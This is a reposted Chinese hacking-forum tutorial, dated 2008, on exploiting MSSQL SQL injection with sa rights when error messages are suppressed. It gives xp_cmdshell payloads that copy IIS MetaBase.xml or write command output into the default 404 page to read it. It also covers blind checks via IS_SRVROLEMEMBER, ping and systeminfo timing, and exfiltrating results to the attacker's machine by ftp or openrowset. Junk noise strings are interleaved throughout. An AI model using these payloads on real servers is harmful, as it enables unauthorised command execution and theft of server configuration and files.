遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
. t1 ~% l. i3 u2 t4 ~7 N! k
7 @6 h3 W! N! o, h 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。2 _1 S! N: \/ H2 x
, q/ D5 h9 R6 z; b( x3 |* \- j
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。. F7 G" b* U" K, q
* O4 p: S- [2 G% X, \6 q( c9 ?0 c
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
4 B0 ?; W4 F) M6 ?3 D/ ^( E. R5 }2 Y
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--& U) w5 q3 d! R/ i+ R: b5 b$ }8 u# w6 _7 L
% d$ k& ?6 R+ A7 s' ]
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
) Q! D1 E$ `4 L* P8 e1 A8 ]
- w9 |2 W. T" g. x 执行命令得到回显! R8 @' E8 O+ Q6 S
7 M( \4 c* `0 b& j
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--! d& n- A: J9 L4 d/ g; G
" \# d; ?. k4 r9 T/ I: K8 Y! ^" T' Z 得到文件也shi相同,把文件copy到404b.htm就行了* [! G- U/ z* `0 v- Q
7 E% L: d/ o! e3 h3 S1 o w
by 28ice, 2008/6/263 A% Q! }8 z. F( `" b/ o
0 D" C7 E4 N3 m
摘自 28度的冰
, r7 {% j2 o" _: W) K- e! K3 C8 h/ h) O* z0 d1 ]+ l
盲注判断权限和操作系统版本8 U5 X" h' ~, S6 d# L+ O
' Z! N8 N+ g0 }! r( f; z+ a. l. N% q' P
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?' z9 X; E3 H/ R( B) n/ Z, f
. k9 `" M: W+ o6 q) {2 M
最简单的,可能以用这样的方法:
8 E5 t# ?4 w; l9 M$ v& V1 w5 N2 ? L3 Z3 e$ F- Z- Q
1=(select IS_SRVROLEMEMBER(’sysadmin’))6 f; v6 @0 O% s. g4 z+ m( r" x9 s
. N& s+ A0 d& o8 i0 d' m% _ 当然,有些情况下,这个方法并不奏效。
9 y0 L( g6 c' w+ u
3 N/ }/ _3 N7 C# Z$ u3 T 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
% u7 M" o4 F' t' d# n4 N' R$ A' _" d( \# A2 c9 C# r( u/ L
有个3办法可能以解决这个问题+ @4 S! \4 ?6 B! s
# D% M0 f D' f$ m2 t4 v1 S! _
a.把执行结果写到404b.htm,具体请看我的上一篇文章
8 D+ K3 r7 h8 n( Q I( e2 U! c0 o# T
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟1 @" D: X/ ]: l8 q" j0 y
' k! _! |; E+ p+ N2 c( d
c.如果1433端口可能以连接,那干脆新建个sql登录( u0 v# e r1 ~; o9 G5 b* ]
' I5 y" S3 y" K/ d d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数$ B% v/ ^" l5 m
9 w. M6 t, a' d7 r7 A
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
1 ?: X S+ ~$ L# ^6 H: s
6 J6 M# O+ |! w& P* U 很简单
) P9 Y+ Y/ x5 A W: w' v% j9 Q1 I" r" ^& ^4 s) S
执行systeminfo
3 O3 B( I! {2 _6 w7 O* G$ X
p- G% h. U( c9 x. |( @ O4 j 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |